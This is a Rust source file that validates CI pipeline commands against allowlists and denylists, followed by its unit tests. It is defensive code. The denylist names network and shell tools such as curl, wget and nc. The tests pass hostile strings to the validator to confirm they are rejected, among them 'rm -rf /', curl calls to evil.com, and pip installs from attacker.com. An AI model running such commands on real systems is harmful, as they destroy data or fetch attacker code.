Skip to main content

dk_runner/workflow/
validator.rs

1use anyhow::{bail, Result};
2use super::types::{Workflow, StepType};
3
4const FORBIDDEN_SHELL_CHARS: &[char] = &[';', '&', '|', '`', '$', '(', ')', '{', '}', '<', '>', '\n', '\r', '\t', '*', '?', '[', ']'];
5
6/// Hardcoded denylist of dangerous command prefixes that cannot be overridden
7/// by per-repo custom allowlists.  Even if a `.dkod/pipeline.yaml` explicitly
8/// allows one of these, the validator will reject it.
9const ALWAYS_DENIED_PREFIXES: &[&str] = &[
10    "curl ", "wget ", "nc ", "ncat ", "netcat ",
11    "bash ", "sh ", "/bin/sh", "/bin/bash",
12    "/usr/bin/curl", "/usr/bin/wget", "/usr/bin/nc", "/usr/bin/ncat",
13    "/usr/bin/bash", "/usr/bin/sh", "/usr/bin/env bash", "/usr/bin/env sh",
14    "/usr/bin/python", "/usr/bin/python3", "/usr/bin/perl", "/usr/bin/ruby",
15    "/usr/bin/env python", "/usr/bin/env python3", "/usr/bin/env perl",
16    "/usr/bin/env ruby", "/usr/bin/env node",
17    "python -c", "python3 -c", "perl -e", "ruby -e",
18    "eval ", "exec ",
19    "go run", "go get", "go install",
20    "cargo run", "cargo install",
21    // Go execution-delegation flags that allow running arbitrary binaries
22    "go test -exec ", "go build -toolexec ", "go vet -vettool ",
23];
24
25/// Substrings that are denied anywhere in a command, preventing flag-injection
26/// attacks where execution-delegation flags appear mid-command (e.g.,
27/// `go test -exec /bin/sh`).
28const DENIED_FLAG_SUBSTRINGS: &[&str] = &[
29    " -exec ", " -toolexec ", " -vettool ",
30    " -exec=", " -toolexec=", " -vettool=",
31    // Output path flags — prevent writing compiled artifacts to arbitrary paths
32    // (e.g., `go build -o /tmp/payload ./cmd/exploit`, `go build -o/path`)
33    " -o ", " -o=", " -o/",
34    " --target-dir ", " --target-dir=",
35    " --out-dir ", " --out-dir=",
36    " --manifest-path ", " --manifest-path=",
37    // TypeScript compiler output-path flags
38    " --outDir ", " --outDir=", " --declarationDir ", " --declarationDir=",
39    // Reject parent-dir traversal in install targets
40    " ..",
41    // URL schemes — prevent remote code fetching via pip install, npm, etc.
42    " http://", " https://", " ftp://", " file://",
43    " git+", " svn+", " hg+",
44];
45
46const ALLOWED_COMMAND_PREFIXES: &[&str] = &[
47    "cargo check", "cargo test", "cargo clippy", "cargo fmt", "cargo build",
48    "npm ci", "npm test",
49    "bun install --frozen-lockfile", "bun test",
50    "npx tsc", "bunx tsc",
51    "pip install -e .", "pip install -r requirements.txt", "pytest", "python -m pytest",
52    "go build", "go test", "go vet",
53    "echo ", // Permitted for CI logging and test pipelines
54    // NOTE: make targets removed from default allowlist because Makefile targets
55    // can execute arbitrary shell commands, bypassing command security controls.
56    // Use allowed_commands in pipeline.yaml to explicitly opt-in to make.
57];
58
59/// Commands that are allowed ONLY as exact matches — no additional arguments
60/// permitted.  This prevents argument-injection attacks where a caller appends
61/// arbitrary flags or file paths (e.g., `npm run lint --rulesdir /attacker-path`).
62const ALLOWED_EXACT_COMMANDS: &[&str] = &[
63    "npm run lint", "npm run check",
64    "bun run lint", "bun run check",
65];
66
67/// Check if a command matches an allowlist prefix with word-boundary awareness.
68/// A prefix matches if the command equals the prefix exactly, or if the command
69/// starts with the prefix followed by a space. This prevents "pytest" from
70/// matching "pytest-exploit" while still allowing "pytest -v".
71fn command_matches_prefix(command: &str, prefix: &str) -> bool {
72    command == prefix
73        || command.starts_with(&format!("{} ", prefix))
74        || prefix.ends_with(' ') && command.starts_with(prefix)
75}
76
77pub fn validate_workflow(workflow: &Workflow) -> Result<()> {
78    if workflow.stages.is_empty() {
79        bail!("workflow '{}' has no stages", workflow.name);
80    }
81    for stage in &workflow.stages {
82        if stage.steps.is_empty() {
83            bail!("stage '{}' has no steps", stage.name);
84        }
85        for step in &stage.steps {
86            if let StepType::Command { run } = &step.step_type {
87                validate_command_with_allowlist(run, &workflow.allowed_commands)?;
88            }
89        }
90    }
91    Ok(())
92}
93
94pub fn validate_command(command: &str) -> Result<()> {
95    validate_command_with_allowlist(command, &[])
96}
97
98pub fn validate_command_with_allowlist(command: &str, custom_allowlist: &[String]) -> Result<()> {
99    let trimmed = command.trim();
100    if trimmed.is_empty() {
101        bail!("empty command");
102    }
103    if let Some(ch) = trimmed.chars().find(|c| FORBIDDEN_SHELL_CHARS.contains(c)) {
104        bail!("command contains forbidden shell metacharacter: {:?}", ch);
105    }
106    // Always-denied prefixes override any allowlist (defense-in-depth)
107    if ALWAYS_DENIED_PREFIXES.iter().any(|p| trimmed.starts_with(p)) {
108        bail!(
109            "command uses a permanently-denied prefix: '{}'",
110            trimmed
111        );
112    }
113    // Denied flag substrings prevent execution-delegation flag injection
114    // (e.g., `go test -exec /bin/sh ./...`)
115    if DENIED_FLAG_SUBSTRINGS.iter().any(|s| trimmed.contains(s)) {
116        bail!(
117            "command contains a denied execution-delegation flag: '{}'",
118            trimmed
119        );
120    }
121    // Exact-match-only commands must not receive additional arguments,
122    // regardless of which allowlist path is used.  Applied unconditionally
123    // (like ALWAYS_DENIED_PREFIXES) so that custom pipeline.yaml allowlists
124    // cannot re-enable argument injection for these commands.
125    if ALLOWED_EXACT_COMMANDS.iter().any(|cmd| {
126        trimmed.starts_with(&format!("{} ", cmd))
127    }) {
128        bail!(
129            "command '{}' is only permitted as an exact match with no additional arguments",
130            trimmed
131        );
132    }
133    if custom_allowlist.is_empty() {
134        let is_allowed = ALLOWED_COMMAND_PREFIXES
135            .iter()
136            .any(|prefix| command_matches_prefix(trimmed, prefix))
137            || ALLOWED_EXACT_COMMANDS.contains(&trimmed);
138        if !is_allowed {
139            bail!(
140                "command not in allowlist: '{}'. Allowed prefixes: {:?}, exact commands: {:?}",
141                trimmed,
142                ALLOWED_COMMAND_PREFIXES,
143                ALLOWED_EXACT_COMMANDS
144            );
145        }
146    } else {
147        let is_allowed = custom_allowlist
148            .iter()
149            .any(|prefix| command_matches_prefix(trimmed, prefix.as_str()));
150        if !is_allowed {
151            bail!(
152                "command not in repo allowlist: '{}'. Allowed prefixes: {:?}",
153                trimmed,
154                custom_allowlist
155            );
156        }
157    }
158    Ok(())
159}
160
161#[cfg(test)]
162mod tests {
163    use super::*;
164    use crate::workflow::types::*;
165    use std::time::Duration;
166
167    fn make_cmd_step(name: &str, cmd: &str) -> Step {
168        Step {
169            name: name.to_string(),
170            step_type: StepType::Command { run: cmd.to_string() },
171            timeout: Duration::from_secs(60),
172            required: true,
173            changeset_aware: false,
174        }
175    }
176
177    #[test]
178    fn test_valid_commands() {
179        assert!(validate_command("cargo check").is_ok());
180        assert!(validate_command("cargo test --release").is_ok());
181        assert!(validate_command("bun test").is_ok());
182        assert!(validate_command("pytest -v").is_ok());
183        assert!(validate_command("pytest").is_ok());
184    }
185
186    #[test]
187    fn test_pytest_word_boundary() {
188        // "pytest" should not match "pytest-exploit" (word boundary check)
189        assert!(validate_command("pytest-exploit").is_err());
190        assert!(validate_command("pytest_exploit").is_err());
191        // But "pytest" and "pytest -v" should still work
192        assert!(validate_command("pytest").is_ok());
193        assert!(validate_command("pytest -v --tb=short").is_ok());
194    }
195
196    #[test]
197    fn test_cargo_target_dir_denied() {
198        assert!(validate_command("cargo build --target-dir /tmp/evil").is_err());
199        assert!(validate_command("cargo build --target-dir=/tmp/evil").is_err());
200        assert!(validate_command("cargo build --out-dir /tmp/evil").is_err());
201    }
202
203    #[test]
204    fn test_go_build_concatenated_output_denied() {
205        // go build -o/path (no space) should be blocked
206        assert!(validate_command("go build -o/tmp/evil ./...").is_err());
207    }
208
209    #[test]
210    fn test_tsc_output_dir_denied() {
211        assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
212        assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
213        assert!(validate_command("npx tsc --declarationDir /tmp/evil").is_err());
214    }
215
216    #[test]
217    fn test_go_run_bare_denied() {
218        // "go run" without trailing space should also be caught
219        let custom = vec!["go run".to_string()];
220        assert!(validate_command_with_allowlist("go run", &custom).is_err());
221        assert!(validate_command_with_allowlist("go run ./cmd", &custom).is_err());
222    }
223
224    #[test]
225    fn test_cargo_manifest_path_denied() {
226        // --manifest-path allows compiling from outside the sandbox
227        assert!(validate_command("cargo build --manifest-path /outside/Cargo.toml").is_err());
228        assert!(validate_command("cargo test --manifest-path=/outside/Cargo.toml").is_err());
229        assert!(validate_command("cargo check --manifest-path /etc/Cargo.toml").is_err());
230    }
231
232    #[test]
233    fn test_rejected_commands() {
234        assert!(validate_command("rm -rf /").is_err());
235        assert!(validate_command("curl http://evil.com").is_err());
236        assert!(validate_command("cargo test; rm -rf /").is_err());
237        assert!(validate_command("cargo test && curl evil").is_err());
238    }
239
240    #[test]
241    fn test_empty_stages_rejected() {
242        let wf = Workflow {
243            name: "bad".into(),
244            timeout: Duration::from_secs(60),
245            stages: vec![],
246            allowed_commands: vec![],
247        };
248        assert!(validate_workflow(&wf).is_err());
249    }
250
251    #[test]
252    fn test_valid_workflow_passes() {
253        let wf = Workflow {
254            name: "good".into(),
255            timeout: Duration::from_secs(60),
256            stages: vec![Stage {
257                name: "checks".into(),
258                parallel: false,
259                steps: vec![make_cmd_step("test", "cargo test")],
260            }],
261            allowed_commands: vec![],
262        };
263        assert!(validate_workflow(&wf).is_ok());
264    }
265
266    #[test]
267    fn test_bad_command_in_workflow_rejected() {
268        let wf = Workflow {
269            name: "bad".into(),
270            timeout: Duration::from_secs(60),
271            stages: vec![Stage {
272                name: "checks".into(),
273                parallel: false,
274                steps: vec![make_cmd_step("evil", "rm -rf /")],
275            }],
276            allowed_commands: vec![],
277        };
278        assert!(validate_workflow(&wf).is_err());
279    }
280
281    #[test]
282    fn test_glob_chars_rejected() {
283        assert!(validate_command("cargo test src/*.rs").is_err());
284        assert!(validate_command("cargo test src/?.rs").is_err());
285        assert!(validate_command("cargo test src/[a-z].rs").is_err());
286        assert!(validate_command("echo /etc/*").is_err());
287        assert!(validate_command("echo ../../*").is_err());
288    }
289
290    #[test]
291    fn test_custom_allowlist_permits_custom_command() {
292        let custom = vec!["eslint".to_string(), "prettier --check".to_string()];
293        assert!(validate_command_with_allowlist("eslint src/", &custom).is_ok());
294        assert!(validate_command_with_allowlist("prettier --check .", &custom).is_ok());
295    }
296
297    #[test]
298    fn test_custom_allowlist_rejects_unlisted_command() {
299        let custom = vec!["eslint".to_string()];
300        assert!(validate_command_with_allowlist("rm -rf /", &custom).is_err());
301        assert!(validate_command_with_allowlist("cargo test", &custom).is_err());
302    }
303
304    #[test]
305    fn test_custom_allowlist_still_blocks_shell_chars() {
306        let custom = vec!["eslint".to_string()];
307        assert!(validate_command_with_allowlist("eslint; rm -rf /", &custom).is_err());
308    }
309
310    #[test]
311    fn test_empty_allowlist_uses_default() {
312        assert!(validate_command_with_allowlist("cargo test", &[]).is_ok());
313        assert!(validate_command_with_allowlist("rm -rf /", &[]).is_err());
314    }
315
316    #[test]
317    fn test_validate_workflow_uses_custom_allowlist() {
318        let wf = Workflow {
319            name: "custom".into(),
320            timeout: Duration::from_secs(60),
321            stages: vec![Stage {
322                name: "lint".into(),
323                parallel: false,
324                steps: vec![make_cmd_step("lint", "eslint src/")],
325            }],
326            allowed_commands: vec!["eslint".to_string()],
327        };
328        assert!(validate_workflow(&wf).is_ok());
329    }
330
331    #[test]
332    fn test_validate_workflow_rejects_unlisted_with_custom_allowlist() {
333        let wf = Workflow {
334            name: "custom".into(),
335            timeout: Duration::from_secs(60),
336            stages: vec![Stage {
337                name: "checks".into(),
338                parallel: false,
339                steps: vec![make_cmd_step("test", "cargo test")],
340            }],
341            allowed_commands: vec!["eslint".to_string()],
342        };
343        assert!(validate_workflow(&wf).is_err());
344    }
345
346    #[test]
347    fn test_always_denied_prefixes_block_even_with_custom_allowlist() {
348        let custom = vec!["curl ".to_string(), "wget ".to_string()];
349        assert!(validate_command_with_allowlist("curl http://example.com", &custom).is_err());
350        assert!(validate_command_with_allowlist("wget http://example.com", &custom).is_err());
351        assert!(validate_command_with_allowlist("bash -c whoami", &custom).is_err());
352        assert!(validate_command_with_allowlist("nc -l 1234", &custom).is_err());
353        assert!(validate_command_with_allowlist("python -c 'import os'", &custom).is_err());
354    }
355
356    #[test]
357    fn test_always_denied_prefixes_block_with_default_allowlist() {
358        assert!(validate_command("curl http://example.com").is_err());
359        assert!(validate_command("wget http://example.com").is_err());
360        assert!(validate_command("bash -c whoami").is_err());
361    }
362
363    #[test]
364    fn test_install_commands_allowed_by_default() {
365        assert!(validate_command("npm ci").is_ok());
366        assert!(validate_command("bun install --frozen-lockfile").is_ok());
367        assert!(validate_command("pip install -r requirements.txt").is_ok());
368        assert!(validate_command("pip install -e .").is_ok());
369    }
370
371    #[test]
372    fn test_env_interpreter_variants_denied() {
373        let custom = vec!["/usr/bin/env python3".to_string()];
374        assert!(validate_command_with_allowlist("/usr/bin/env python3 script.py", &custom).is_err());
375        assert!(validate_command_with_allowlist("/usr/bin/env python script.py", &custom).is_err());
376        assert!(validate_command_with_allowlist("/usr/bin/env perl script.pl", &custom).is_err());
377        assert!(validate_command_with_allowlist("/usr/bin/env ruby script.rb", &custom).is_err());
378        assert!(validate_command_with_allowlist("/usr/bin/env node script.js", &custom).is_err());
379    }
380
381    #[test]
382    fn test_go_commands_allowed_by_default() {
383        assert!(validate_command("go build ./...").is_ok());
384        assert!(validate_command("go test ./...").is_ok());
385        assert!(validate_command("go vet ./...").is_ok());
386    }
387
388    #[test]
389    fn test_go_run_denied() {
390        // go run directly executes arbitrary Go programs
391        assert!(validate_command("go run ./cmd/exploit").is_err());
392        let custom = vec!["go run".to_string()];
393        assert!(validate_command_with_allowlist("go run ./cmd/exploit", &custom).is_err());
394    }
395
396    #[test]
397    fn test_go_get_denied() {
398        // go get downloads and compiles arbitrary remote packages
399        assert!(validate_command("go get github.com/evil/pkg").is_err());
400        let custom = vec!["go get".to_string()];
401        assert!(validate_command_with_allowlist("go get ./...", &custom).is_err());
402    }
403
404    #[test]
405    fn test_go_install_denied() {
406        // go install downloads, compiles, and installs arbitrary remote packages
407        assert!(validate_command("go install github.com/evil/pkg@latest").is_err());
408        let custom = vec!["go install".to_string()];
409        assert!(validate_command_with_allowlist("go install github.com/evil/pkg@latest", &custom).is_err());
410    }
411
412    #[test]
413    fn test_npm_bun_run_only_specific_scripts() {
414        // Only specific script names (lint, check) are allowed as exact matches
415        assert!(validate_command("npm run lint").is_ok());
416        assert!(validate_command("npm run check").is_ok());
417        assert!(validate_command("bun run lint").is_ok());
418        assert!(validate_command("bun run check").is_ok());
419        // Arbitrary script names must be rejected
420        assert!(validate_command("npm run exploit").is_err());
421        assert!(validate_command("bun run exploit").is_err());
422        assert!(validate_command("npm run build").is_err());
423        assert!(validate_command("bun run build").is_err());
424    }
425
426    #[test]
427    fn test_npm_bun_run_argument_injection_denied() {
428        // npm/bun run lint/check are exact-match only — no additional arguments
429        // allowed to prevent argument injection into the underlying scripts.
430        assert!(validate_command("npm run lint --flag").is_err());
431        assert!(validate_command("npm run lint /etc/passwd").is_err());
432        assert!(validate_command("npm run check --rulesdir /attacker-path").is_err());
433        assert!(validate_command("bun run lint --flag").is_err());
434        assert!(validate_command("bun run check extra-arg").is_err());
435    }
436
437    #[test]
438    fn test_npm_bun_run_argument_injection_denied_custom_allowlist() {
439        // The exact-match guard must also apply when a custom allowlist is used.
440        // A repo's pipeline.yaml that adds "npm run lint" should NOT re-enable
441        // argument injection.
442        let custom = vec!["npm run lint".to_string(), "bun run check".to_string()];
443        assert!(validate_command_with_allowlist("npm run lint", &custom).is_ok());
444        assert!(validate_command_with_allowlist("bun run check", &custom).is_ok());
445        // Argument injection must still be blocked
446        assert!(validate_command_with_allowlist("npm run lint --rulesdir /attacker-path", &custom).is_err());
447        assert!(validate_command_with_allowlist("bun run check extra-arg", &custom).is_err());
448    }
449
450    #[test]
451    fn test_pip_install_url_schemes_denied() {
452        // pip install with remote URLs should be blocked by denied substrings
453        assert!(validate_command("pip install -e git+https://attacker.com/evil.git").is_err());
454        assert!(validate_command("pip install -r https://attacker.com/reqs.txt").is_err());
455        assert!(validate_command("pip install -r http://attacker.com/reqs.txt").is_err());
456        // Local paths should still be allowed
457        assert!(validate_command("pip install -e .").is_ok());
458        assert!(validate_command("pip install -r requirements.txt").is_ok());
459    }
460
461    #[test]
462    fn test_cargo_run_and_install_denied() {
463        assert!(validate_command("cargo run --bin exploit").is_err());
464        let custom = vec!["cargo run".to_string()];
465        assert!(validate_command_with_allowlist("cargo run ./cmd", &custom).is_err());
466        assert!(validate_command("cargo install malicious-crate").is_err());
467    }
468
469    #[test]
470    fn test_pip_install_parent_dir_denied() {
471        // pip install -e .. would install from parent directory (sandbox escape)
472        assert!(validate_command("pip install -e ..").is_err());
473        assert!(validate_command("pip install -e ../other-pkg").is_err());
474        // pip install -e . should still work
475        assert!(validate_command("pip install -e .").is_ok());
476    }
477
478    #[test]
479    fn test_go_build_output_flag_denied() {
480        // go build -o allows writing binaries to arbitrary filesystem paths
481        assert!(validate_command("go build -o /tmp/payload ./cmd/exploit").is_err());
482        assert!(validate_command("go build -o=/tmp/payload ./...").is_err());
483    }
484
485    #[test]
486    fn test_go_exec_delegation_flags_denied() {
487        // go test -exec allows running arbitrary binaries
488        assert!(validate_command("go test -exec /usr/bin/sh ./...").is_err());
489        // go build -toolexec replaces the compiler toolchain
490        assert!(validate_command("go build -toolexec ./evil ./...").is_err());
491        // go vet -vettool replaces the vet analysis tool
492        assert!(validate_command("go vet -vettool ./evil ./...").is_err());
493    }
494    #[test]
495    fn test_go_build_concatenated_output_flag_denied() {
496        // go build -o/tmp/evil bypasses " -o " and " -o=" but is caught by " -o/"
497        assert!(validate_command("go build -o/tmp/evil ./...").is_err());
498    }
499
500
501    #[test]
502    fn test_tsc_outdir_denied() {
503        // npx tsc --outDir should be blocked to prevent file-write escape
504        assert!(validate_command("npx tsc --outDir /tmp/evil").is_err());
505        assert!(validate_command("npx tsc --outDir=/tmp/evil").is_err());
506        assert!(validate_command("bunx tsc --declarationDir /tmp/evil").is_err());
507        assert!(validate_command("bunx tsc --declarationDir=/tmp/evil").is_err());
508    }
509
510}
511